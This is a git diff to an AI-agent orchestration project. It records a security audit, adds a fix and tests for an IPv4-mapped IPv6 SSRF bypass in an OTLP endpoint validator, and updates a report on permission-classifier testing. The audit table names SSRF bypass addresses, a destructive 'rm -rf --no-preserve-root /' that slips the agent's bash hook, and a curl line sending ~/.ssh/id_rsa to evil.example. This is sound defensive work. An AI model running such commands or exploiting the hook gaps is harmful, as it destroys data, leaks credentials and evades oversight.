diff --git a/docs/T2-bakeoff-results.md b/docs/T2-bakeoff-results.md index 2d904ed..52fd8a5 100644 --- a/docs/T2-bakeoff-results.md +++ b/docs/T2-bakeoff-results.md @@ -144,10 +144,10 @@ All 6 runs → **BLOCK**. (Arm A tokens = 2 reviewers + coordinator subagent-tok - **Arm A:** 6/6 reviewer outputs valid via NW1 `validateReviewerOutput` (0 parse errors, 0 schema errors, **0 re-asks**); 3/3 coordinator trailing-json parsed clean. - Both arms 0 re-asks this run ⇒ Arm B's win is **structural**, not a measured re-ask delta (the rich fixture did not provoke malformed JSON; a delta needs a JSON-hostile fixture). -### 3. Classifier interference: 0 +### 3. Classifier interference: 0 under the session's active mode — auto/bypass UNTESTED (open residual) Arm B ran **3 concurrent workflows = 9 concurrent agents**; Arm A ran **6 concurrent reviewers + 3 concurrent coordinators**. No denied/missing spawns in any arm under the session's active mode. Confirms S8 F4 at higher (9-agent) concurrency. -**Residual:** an explicit `auto`/`bypass`-mode re-run was **not** performed — the permission mode is operator-set, not settable from within the session. trekreview's small fan-out showed 0 interference in S8 and here; the *large* fan-out (trekplan swarm) is explicitly out of narrow-wins scope. +**Open residual (Survivor #18 / S21, 2026-06-19).** The W1 charter made a re-run under `auto`/`bypass` permission mode an *explicit* guard, because trekreview can run headless under exactly those modes. That re-run was **never performed** — the permission mode is operator-set, not settable from within an interactive session — and was originally footnoted rather than gating. Per the devil's-advocate audit (Survivor #18, recommendation #9) this result is therefore **not "metric satisfied"**: it holds only under the session's active mode. The mode that matters for **headless** trekreview (`auto`/`bypass`, ≥9-agent fan-out) remains **untested** and stays an **open residual** until measured from a genuinely headless run. trekreview's small fan-out showed 0 interference in S8 and here; the *large* fan-out (trekplan swarm) is explicitly out of narrow-wins scope. ### 4. Token cost (comparable — both ran coordinator) diff --git a/docs/devils-advocate-results.md b/docs/devils-advocate-results.md index 1918428..5298bb1 100644 --- a/docs/devils-advocate-results.md +++ b/docs/devils-advocate-results.md @@ -142,3 +142,20 @@ The operator challenged finding #1 ("README sells cheap Sonnet but agents are op 3. **NEW defect (audit missed it): code default profile ≠ documented default.** `resolveProfile()` returns `{ profile: 'premium', profile_source: 'default' }` (resolver.mjs:156; docstring: "Order: --profile flag > VOYAGE_PROFILE env > 'premium'"). But README.md:759 ("`balanced` (default)") + the lookup-order list + `docs/profiles.md:15,18,121` ("`balanced` is the v4.1 default", "the default tier is locked") all say the default is **`balanced`**. **Code says premium; all docs say balanced** — a real code-vs-docs contradiction with cost/behavior impact (premium runs brief+execute on opus and turns external research ON; balanced does not), unguarded by `doc-consistency.test.mjs`. Severity: **MAJOR**. Most likely resolution: docs reflect design intent (balanced), so the code default is the bug — but confirm against git history before fixing. **Corrected fix for finding #1 (supersedes "flip vs rewrite"):** (a) resolve the default-profile mismatch so code + README + `docs/profiles.md` agree on one default (likely `balanced`); (b) rewrite the README cost narrative to describe the *actual* per-phase-profile mechanism (default runs plan/review on Opus; `economy` runs all-Sonnet; no orchestrator-vs-swarm split); (c) add doc-consistency pins for the default-profile name and the per-phase model claims. This keeps Opus-as-default and does **not** require flipping any agent frontmatter. + +--- + +## S21 resolution — Blind spot #2 (security/safety) audit (2026-06-19, operator-gated) + +Blind spot #2 ("no security / safety dimension") was the audit's self-named highest-consequence gap. Operator scope for this session was **security-core**: fix genuine defects, honestly record the rest. The four sub-questions and their dispositions: + +| # | Question | Verdict | Disposition | +|---|----------|---------|-------------| +| 1 | **Does the SSRF mitigation work?** | ⚠️ one real, bounded bug | Literal-encoding bypasses I first suspected (decimal `2130706433`, hex `0x7f000001`, octal, trailing-dot `127.0.0.1.`) are **already caught** — the WHATWG `URL` parser canonicalizes them to dotted-decimal before `validateOtlpEndpoint` classifies. The genuine gap: **IPv4-mapped IPv6 literals** (`::ffff:127.0.0.1`, `::ffff:192.168.x`, `::ffff:169.254.169.254`) render as `::ffff:HHHH:HHHH` and were matched by neither the loopback set, the RFC-1918 regex, link-local, nor `HARD_BLOCKED_HOSTS` → they passed over https and would reach loopback / private / **cloud-metadata**. The control's own comment promised to "PERMANENTLY block" metadata; the mapped form defeated it. **FIXED** (see below). | +| 2 | **Do pre-bash / pre-write hooks actually block?** | ✅ yes, for their target patterns | `bash-guard` + `path-guard` tests confirm every BLOCK rule fires. **Verified residuals (by design — advisory rails, `fail-open`, defense-in-depth, NOT a security boundary):** (a) `pre-write-executor` is wired to `matcher: "Write"` only — `Edit` / `NotebookEdit` and `echo >> ~/.zshrc` via Bash bypass it (Edit can only modify pre-existing sensitive files, not create them; Bash-redirect is the larger hole); (b) `pre-bash-executor` regexes have completeness gaps (e.g. `rm -rf --no-preserve-root /` slips the `rm`-pattern). Not fixed: closing every regex/tool gap is an unbounded rabbit hole, and CC's own per-Bash permission prompt is the primary gate; these hooks are the second layer. | +| 3 | **Can a malicious brief drive headless execution to harm?** | ✅ catastrophe-blocked, exfil NOT blocked | The hooks stop catastrophic *local destruction* (`rm -rf /`, `mkfs`, fork bombs, raw-device writes). They do **not** prevent *data exfiltration* — `curl --data @~/.ssh/id_rsa https://evil.example` is not a blocked pattern. This requires the operator to accept a malicious brief **and** run it headless (no human gate). Documented as an inherent limit: a regex-hook layer cannot fully sandbox an autonomous executor. No code change. | +| 4 | **Chartered auto/bypass classifier check (Survivor #18)** | 📝 honest-residual recorded | The W1 charter made an `auto`/`bypass`-mode re-run an explicit guard (trekreview runs headless under those modes); the T2 bake-off skipped it on a true technicality (permission mode is operator-set, not settable in-session) and footnoted rather than gating. Per recommendation #9, **moved from "metric satisfied" → "open residual"** in `T2-bakeoff-results.md §3` (guarded by a new `doc-consistency` pin). Not runnable from this interactive session; stays open until measured from a genuinely headless run. | + +**Code fix (finding #1).** `lib/exporters/endpoint-validator.mjs`: added `mappedV4(host)` — after IPv6 bracket-strip, an IPv4-mapped literal (`::ffff:a.b.c.d` dotted **or** `::ffff:HHHH:HHHH` hex-pair) is decoded to its embedded dotted-decimal IPv4, and every guard (loopback / RFC-1918 / link-local / `HARD_BLOCKED`) classifies on **that**. TDD: 4 new tests in `tests/hooks/otel-export-validators.test.mjs` (failing-first) — mapped loopback → `LOOPBACK_REJECTED`, mapped RFC-1918 → `RFC1918_REJECTED`, mapped metadata → `HARD_BLOCKED` (even with `VOYAGE_OTEL_ALLOW_PRIVATE=1`), and mapped **public** `::ffff:8.8.8.8` still valid over https (no over-block). Threat model remains narrow (endpoint is operator-set via `VOYAGE_OTEL_ENDPOINT`; export is opt-in via `VOYAGE_EXPORT_MODE`, default `off`; a brief cannot set env) — the fix closes a control under-delivering its documented contract, not a brief-reachable hole. + +**Forward-pointer (FLAGGED, NOT done — adjacent doc/code defect found while auditing the autonomy surface; this is S21b, not S21 security-core):** `operations.md:15` claims `autonomy-gate.mjs` runs the state machine `idle → approved → executing → merge-pending → main-merged`; the actual code states are `idle → gates_on/auto_running → paused_for_gate → completed`, and the `--gates {open|closed|adaptive}` table doesn't match the boolean (`--gates true|false`) the CLI shim and command docs use. Recommend a truth-pass + anti-false-claim pin in a follow-up session. diff --git a/lib/exporters/endpoint-validator.mjs b/lib/exporters/endpoint-validator.mjs index 7603918..ca9e871 100644 --- a/lib/exporters/endpoint-validator.mjs +++ b/lib/exporters/endpoint-validator.mjs @@ -42,6 +42,28 @@ function isLinkLocal(host) { return LINK_LOCAL_PREFIXES.some(p => host.startsWith(p)); } +// IPv4-mapped IPv6 (::ffff:a.b.c.d) routes to the embedded IPv4. Node renders +// the literal as ::ffff:HHHH:HHHH, so decode the embedded IPv4 and classify on +// THAT — otherwise the loopback / RFC-1918 / link-local / cloud-metadata guards +// below are all bypassable via the mapped form over https (CWE-918, S21). +// Returns dotted-decimal IPv4, or null when host is not an IPv4-mapped literal. +function mappedV4(host) { + const m = /^::ffff:(.+)$/i.exec(host); + if (!m) return null; + const rest = m[1]; + if (rest.includes('.')) { + // Dotted form: ::ffff:127.0.0.1 + return /^\d{1,3}(\.\d{1,3}){3}$/.test(rest) ? rest : null; + } + // Hex-pair form: ::ffff:7f00:1 → two 16-bit groups → 4 octets + const parts = rest.split(':'); + if (parts.length !== 2) return null; + const hi = parseInt(parts[0], 16); + const lo = parseInt(parts[1], 16); + if (!Number.isInteger(hi) || !Number.isInteger(lo) || hi > 0xffff || lo > 0xffff) return null; + return [hi >> 8, hi & 0xff, lo >> 8, lo & 0xff].join('.'); +} + /** * Validate an OTLP/HTTP endpoint URL. * @@ -69,7 +91,12 @@ export function validateOtlpEndpoint(url, opts = {}) { } // Strip brackets from IPv6 - const host = parsed.hostname.replace(/^\[|\]$/g, ''); + let host = parsed.hostname.replace(/^\[|\]$/g, ''); + + // Canonicalize IPv4-mapped IPv6 to its embedded IPv4 so every guard below + // classifies (and reports) the address the request would actually reach. + const embedded = mappedV4(host); + if (embedded) host = embedded; // Cloud metadata services — PERMANENTLY blocked. VOYAGE_OTEL_ALLOW_PRIVATE // does NOT override this; metadata endpoints expose IAM credentials. diff --git a/tests/hooks/otel-export-validators.test.mjs b/tests/hooks/otel-export-validators.test.mjs index c28ca07..a7cf8e5 100644 --- a/tests/hooks/otel-export-validators.test.mjs +++ b/tests/hooks/otel-export-validators.test.mjs @@ -135,6 +135,35 @@ test('endpoint-validator: rejects RFC-1918 192.168.1.1 without opt-in', () => { assert.ok(r.errors.find(e => e.code === 'ENDPOINT_RFC1918_REJECTED')); }); +// IPv4-mapped IPv6 bypass (S21): `::ffff:a.b.c.d` literals render as +// `::ffff:HHHH:HHHH` and route to the embedded IPv4. The host must be +// canonicalized to its embedded IPv4 BEFORE classification, or loopback / +// RFC-1918 / link-local / cloud-metadata guards are all bypassable over https. +test('endpoint-validator: rejects IPv4-mapped IPv6 loopback [::ffff:127.0.0.1] (S21 bypass)', () => { + const r = validateOtlpEndpoint('https://[::ffff:127.0.0.1]/v1/metrics', { env: {} }); + assert.equal(r.valid, false, 'IPv4-mapped loopback must be rejected'); + assert.ok(r.errors.find(e => e.code === 'ENDPOINT_LOOPBACK_REJECTED')); +}); + +test('endpoint-validator: rejects IPv4-mapped IPv6 RFC-1918 [::ffff:192.168.0.5] (S21 bypass)', () => { + const r = validateOtlpEndpoint('https://[::ffff:192.168.0.5]/v1/metrics', { env: {} }); + assert.equal(r.valid, false, 'IPv4-mapped RFC-1918 must be rejected'); + assert.ok(r.errors.find(e => e.code === 'ENDPOINT_RFC1918_REJECTED')); +}); + +test('endpoint-validator: IPv4-mapped metadata [::ffff:169.254.169.254] HARD_BLOCKED even with opt-in (S21 bypass)', () => { + const r = validateOtlpEndpoint('https://[::ffff:169.254.169.254]/latest/meta-data', + { env: { VOYAGE_OTEL_ALLOW_PRIVATE: '1' } }); + assert.equal(r.valid, false, 'IPv4-mapped cloud-metadata MUST stay hard-blocked'); + assert.ok(r.errors.find(e => e.code === 'ENDPOINT_HARD_BLOCKED')); +}); + +test('endpoint-validator: accepts IPv4-mapped IPv6 public [::ffff:8.8.8.8] over https (no over-block)', () => { + const r = validateOtlpEndpoint('https://[::ffff:8.8.8.8]/v1/metrics', { env: {} }); + assert.equal(r.valid, true, JSON.stringify(r.errors)); + assert.equal(r.parsed.isPrivate, false); +}); + test('endpoint-validator: rejects empty / non-string', () => { assert.equal(validateOtlpEndpoint('').valid, false); assert.equal(validateOtlpEndpoint(null).valid, false); diff --git a/tests/lib/doc-consistency.test.mjs b/tests/lib/doc-consistency.test.mjs index 6ce5ea2..f5dd9cc 100644 --- a/tests/lib/doc-consistency.test.mjs +++ b/tests/lib/doc-consistency.test.mjs @@ -905,6 +905,18 @@ test('S17: NW2 bake-off verdict is not labeled unqualified POSITIVE (raw data un ); }); +test('S21: T2-bakeoff §3 marks the auto/bypass classifier check as an OPEN RESIDUAL, not satisfied (Survivor #18)', () => { + // The W1 charter made an auto/bypass-mode re-run an explicit guard (trekreview + // runs headless under those modes). It was never performed and was footnoted + // rather than gating. Per recommendation #9, the classifier-interference + // result must read as an open residual / untested — not "metric satisfied". + const doc = read('docs/T2-bakeoff-results.md'); + assert.ok( + /open residual/i.test(doc) && /untested/i.test(doc), + 'T2-bakeoff §3 must mark the auto/bypass classifier check as an OPEN RESIDUAL / untested (Survivor #18 / S21).', + ); +}); + // ── S18: framing-hardening cross-file invariants ─────────────────────────── test('S18: --min-brief-version is documented at the trekplan + trekresearch boundary', () => {